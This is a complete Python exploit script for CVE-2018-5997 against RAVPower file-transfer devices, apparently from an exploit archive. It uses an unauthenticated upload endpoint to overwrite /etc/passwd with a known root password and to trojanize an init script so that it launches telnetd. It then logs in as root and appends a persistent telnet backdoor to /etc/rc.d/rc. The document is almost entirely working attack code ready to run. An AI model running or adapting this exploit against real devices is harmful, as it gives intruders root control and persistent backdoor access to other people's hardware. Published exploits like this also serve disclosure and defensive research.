1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 |
""" # Exploit Title: RAVPower - remote root # Date: 23/01/2018 # Exploit Authors: Daniele Linguaglossa # Vendor Homepage: https://www.ravpower.com/ # Software Link: https://www.ravpower.com/ # Version: 2.000.056 # Tested on: OSX # CVE : CVE-2018-5997 """ import requests import time import telnetlib PATH_PASSWD = "/etc" FILE_PASSWD = "passwd" PATH_VSTFUNC = "/etc/init.d" FILE_VSTFUNC = "vstfunc" FILE_RC = "/etc/rc.d/rc" BACKDOOR_TERM = "export TERM=xterm" BACKDOOR_TELNET = "/usr/sbin/telnetd &" BASH_SHEBANG = "#!/bin/sh" TELNETD = "/usr/sbin/telnetd -p 1111 &" def upload(host, port, path, name, content): user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0" path = "/upload.csp?uploadpath=%s&file=1515865637281" % path url ="http://{0}:{1}{2}".format(host,port,path) files = {'file' : ('%s' % name, content,'application/octet-stream')} headers = { "user-agent": user_agent } try: requests.post(url,headers=headers,files=files) return True except: return False # root:admin tmp_passwd = """root:$1$YBm5LfCo$5OEwLPLUu085z5EoDpQz7/:0:0:root:/data/UsbDisk1/Volume1:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin admin:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:15:0:admin:/data/UsbDisk1/Volume1:/bin/sh mail:*:8:8:mail:/var/mail:/bin/sh nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh guest:$1$QlrmwRgO$c0iSI2euV.U1Wx6yBkDBI.:512:0:guest:/data/UsbDisk1/Volume1/Share:/bin/sh-new """ tmp_vstfunc = """ export PATH=/bin:/sbin:/usr/bin:/usr/sbin # A function to stop a program. killproc() { local base=${1##*/} local pid= pid=<code>pidof $base local i if [ -n "$pid" ]; then for i in $pid ; do kill -KILL $i > /dev/null 2>&1 done fi rm -f /var/run/$base.pid return 0 } # A function to find the pid of a program. pidofproc() { local base=${1##*/} #First try "/var/run/*.pid" files if [ -f "/var/run/$base.pid" ]; then local line p pid= read line < /var/run/$base.pid for p in $line ; do [ -z "$p" -a -d "/proc/$p" ] && pid="$pid $p" done else pid=<code>pidof $1 || pidof $base fi if [ -n "$pid" ]; then echo $pid return 0 fi return 1 } # Check if $pid (could be plural) are running # Return : 0 run #1 stop checkpid() { local i for i in $* ; do if [ -d "/proc/$i" ]; then return 0 fi done return 1 } # Check disk exist checkdisk() { return $? } # save pid and log function savesc() { local i=0 if [ -n "$3" ]; then touch /var/run/$3.pid fi return $? } # A function check start of a program. # return: 1not exist # 0exist checkonly() { local prgname=${1##*/} local pid= if [ -f "/var/run/$prgname.pid" ]; then pid=<code>pidof $prgname if [ -n "$pid" ]; then return 0 fi return 1 else pid=<code>pidof $prgname if [ -n "$pid" ]; then if sleep 1 && checkpid $pid && sleep 1 && checkpid $pid && sleep 2 && checkpid $pid ; then return 2 fi fi return 2 fi } # A function save etc to mtd. # return: 1 failure # 0 success saveetc() { local ret=0 /usr/sbin/etc_tools t > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] /usr/sbin/etc_tools p > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] return $ret } # A function resume mtd to etc. # return: 1 failure # 0 success resumeetc() { local ret=0 /usr/sbin/etc_tools b > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] /usr/sbin/etc_tools u > /dev/null 2>&1 let ret=ret+$? # ret=$[$ret + $?] return $ret } # Create a lock for /var/lock AppScriptLock() { if [ -f /var/lock/$1.pid ]; then return 0 else touch /var/lock/$1.pid return 1 fi } # Check a lock for /var/lock AppScriptChkLock() { if [ -f /var/lock/$1.pid ]; then return 1 else return 0 fi } # Delete a lock for /var/lock AppScriptUnlock() { if [ -f /var/lock/$1.pid ]; then rm -rf /var/lock/$1.pid fi return 1 } DISKPATH="/data/UsbDisk1/Volume1/.vst/upgrade" ETCPATH="/boot/tmp" ETCBKPATH="/boot/tmp/etcbackup" DISKETCFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etc.tar" DIDKETCBKFILE="/data/UsbDisk1/Volume1/.vst/upgrade/etcbackup.tar.gz" ETCFILE="/boot/tmp/etc.tar" ETCBKFILETAR="/boot/tmp/etcbackup.tar" ETCBKFILE="/boot/tmp/etcbackup.tar.gz" FILELIST="hostname passwd shadow samba/smbpasswd fileserv/lighttpd.user dropbox baidu" FILELIST1="hostname" backup_etc() { rm $ETCBKFILETAR -rf rm $ETCBKFILE -rf rm $ETCBKPATH -rf # if [ ! -e $DISKPATH ];then # mkdir -p -m 755 $DISKPATH # fi if [ ! -e $ETCBKPATH ]; then mkdir -p -m 755 $ETCBKPATH fi if [ -z $1 ]; then FILELISTALL=$FILELIST else if [ $1 == "resume" ]; then FILELISTALL=$FILELIST1 fi fi for f in $FILELISTALL do if [ -d /etc/$f ]; then cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1 else if [ "$f" == "samba/smbpasswd" ]; then if [ ! -e $ETCBKPATH/samba ]; then mkdir -p $ETCBKPATH/samba fi cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 elif [ "$f" == "fileserv/lighttpd.user" ]; then if [ ! -e $ETCBKPATH/fileserv ]; then mkdir -p $ETCBKPATH/fileserv fi cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 elif [ "$f" == "serversman/cloud.conf" ]; then if [ ! -f /etc/$f ]; then continue fi if [ ! -e $ETCBKPATH/serversman ]; then mkdir -p $ETCBKPATH/serversman fi cp -rf /etc/$f $ETCBKPATH/$f > /dev/null 2>&1 else cp -rf /etc/$f $ETCBKPATH > /dev/null 2>&1 fi fi done tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1 gzip $ETCBKFILETAR if [ -f $ETCBKFILE ]; then cp -rf $ETCBKFILE $DIDKETCBKFILE fi } backup_etc_telnet() { rm $ETCBKFILETAR -rf rm $ETCBKFILE -rf rm $ETCBKPATH -rf # if [ ! -e $DISKPATH ];then # mkdir -p -m 755 $DISKPATH # fi if [ ! -e $ETCBKPATH ]; then mkdir -p -m 755 $ETCBKPATH fi if [ -z $1 ]; then FILELISTALL=$FILELIST else if [ $1 == "resume" ]; then FILELISTALL=$FILELIST1 fi fi touch $ETCBKPATH/telnetflag tar cvf $ETCBKFILETAR $ETCBKPATH > /dev/null 2>&1 gzip $ETCBKFILETAR if [ -f $ETCBKFILE ]; then cp -rf $ETCBKFILE $DIDKETCBKFILE fi } restore_etc() { if [ -f $ETCBKFILE ]; then gunzip $ETCBKFILE tar xvf $ETCBKFILETAR -C / > /dev/null 2>&1 for f in $FILELIST do if [ -d /etc/$f ]; then echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc #cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 cp -rf $ETCBKPATH/$f /etc > /dev/null 2>&1 else if [ "$f" == "samba/smbpasswd" ]; then echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 elif [ "$f" == "fileserv/lighttpd.user" ]; then echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 elif [ "$f" == "serversman/cloud.conf" ]; then if [ ! -f $ETCBKPATH/$f ]; then continue fi echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 else echo cp -rf $ETCBKPATH/$f /etc/$f >> /tmp/restore_etc cp -rf $ETCBKPATH/$f /etc/$f > /dev/null 2>&1 fi fi done if [ -f $ETCBKPATH/telnetflag ]; then touch /etc/telnetflag fi fi } # A function check usb flag # return: 0 service start # 1 service stop check_usb_flag() { local ret=0 if [ -e "/proc/usbwrite" ];then ret=<code>cat /proc/usbwrite fi return $ret } ########################################################################### # # LED operations # ########################################################################### led_wink_start() { LED=<code>cat /proc/vsled if [ $LED -eq 3 ]; then pioctl wifi 2 fi } led_wink_stop() { LED=<code>cat /proc/vsled if [ $LED -eq 2 ]; then pioctl wifi 3 fi } led_wink_chk() { LED=<code>cat /proc/vsled if [ $LED -eq 2 ]; then return 1 else return 0 fi } ########################################################################### # # Flag operation # ########################################################################### flagctl_get() { if [ -e /dev/sda ]; then trynum=0 while [ $trynum -lt 3 ]; do retval=<code>/usr/sbin/flagctl disk get $1 if [ ! -z $retval ]; then return $retval fi let trynum=trynum+1 # trynum=$[$trynum+1] sleep 1 done fi } flagctl_set() { if [ -e /dev/sda ]; then trynum=0 while [ $trynum -lt 3 ]; do /usr/sbin/flagctl disk set $1 $2 flagctl_get $1 if [ "$?" -eq "$2" ]; then sync return 1 fi let trynum=trynum+1 # trynum=$[$trynum+1] sleep 1 done fi return 0 } ########################################################################### # # string function # ########################################################################### str_func_strstr () { if [ ${#2} -eq 0 ];then echo "$1" return 0 fi case "$1" in *$2*) return 1 ;; *) return 0 ;; esac } dev_test_host() { nordev=<code>echo $1 | cut -c -3 s_str=<code>ls -l /sys/block/$nordev/device str_func_strstr "$s_str" "host0" if [ $? -eq 1 ]; then return 1 fi return 0; } dev_test_usb() { nordev=<code>echo $1 | cut -c -3 s_str=<code>ls -l /sys/block/$nordev/device str_func_strstr "$s_str" "usb" if [ $? -eq 1 ]; then return 1 fi return 0; } ########################################################################### # # Permission check functions # ########################################################################### # $1: device name # $2: host/usb # $3: if recursive, 1: enable, 0: disable perm_change_start() { permpid=<code>ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2 if [ ! -z $permpid ]; then return 1; else /usr/sbin/permchange $1 $2 $3 & fi } # $1: device name # $2: if recursive, 1: enable, 0: disable perm_chk_start() { dev_test_host $1 if [ $? -eq 1 ]; then perm_change_start $1 host $2 else perm_change_start $1 usb $2 fi } perm_chk_stop() { permpid=<code>ps | grep "/usr/sbin/permchange $1" | cut -d' ' -f2 if [ ! -z $permpid ]; then for ppid in $permpid ; do kill -9 $ppid > /dev/null 2>&1 done fi } ########################################################################### # Time function ########################################################################### timedate_settosys() { if [ -e /etc/timedate ]; then TIMESET=<code>cat /etc/timedate date -s $TIMESET fi } timedate_save() { date '+%Y.%m.%d-%H:%M:%S' > /etc/timedate } """ print "RAVPower Remote root (0day) - By dzonerzy & r3dx0f\n\n" host = raw_input("Insert Ravpower IP: ") print "[*] Step 1 -> pwning /etc/passwd" if not upload(host, 80,PATH_PASSWD,FILE_PASSWD,tmp_passwd): print "[-] Filed to pwn /etc/passwd maybe fixed?" exit(0) print "[*] Step 2 -> pwning /etc/init.d/vstfunc" if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+TELNETD+"\n"+tmp_vstfunc): print "[-] Filed to pwn /etc/init.d/vstfunc maybe fixed?" exit(0) t = None print "[*] Step 3 -> Try to remove or insert SD Card or just wait for something happen (something must happen!)" while True: try: print "[*] Step 3-1 -> Trying to telnet..." t = telnetlib.Telnet(host, port=1111) break except: time.sleep(5) t.read_until(": ") t.write("root\n") t.read_until(": ") t.write("admin\n") t.read_until("# ") print "[*] Step 4 -> pwning /etc/rc.d/rc" t.write("echo '%s' >> %s\n" % (BACKDOOR_TERM, FILE_RC)) t.read_until("# ") t.write("echo '%s' >> %s\n" % (BACKDOOR_TELNET, FILE_RC)) t.read_until("# ") print "[*] Step 4-1 -> pwned!" print "[*] Step 5 -> Saving settings" t.write("/usr/sbin/etc_tools p\n") t.read_until("# ") print "[*] Step 5-1 -> Done!" print "[*] Step 6 -> Starting telnetd" t.write("/usr/sbin/telnetd &\n") t.read_until("# ") print "[*] Step 6-1 -> Done!" print "[*] Step 7 -> Killing old telnet" t.write("ps aux |grep 1111| awk '{print $2}' | xargs kill -9\n") t.read_until("# ") print "[*] Step 7-1 -> Done!" print "[*] Step 8 -> Restoring vstfunc" if not upload(host, 80,PATH_VSTFUNC,FILE_VSTFUNC,BASH_SHEBANG+"\n"+tmp_vstfunc): print "[-] Filed to pwn /etc/init.d/vstfunc fixed?" exit(0) print "[*] Step 8-1 -> Done!" print "[!] PWNAGE COMPLETED! connect with root:admin" |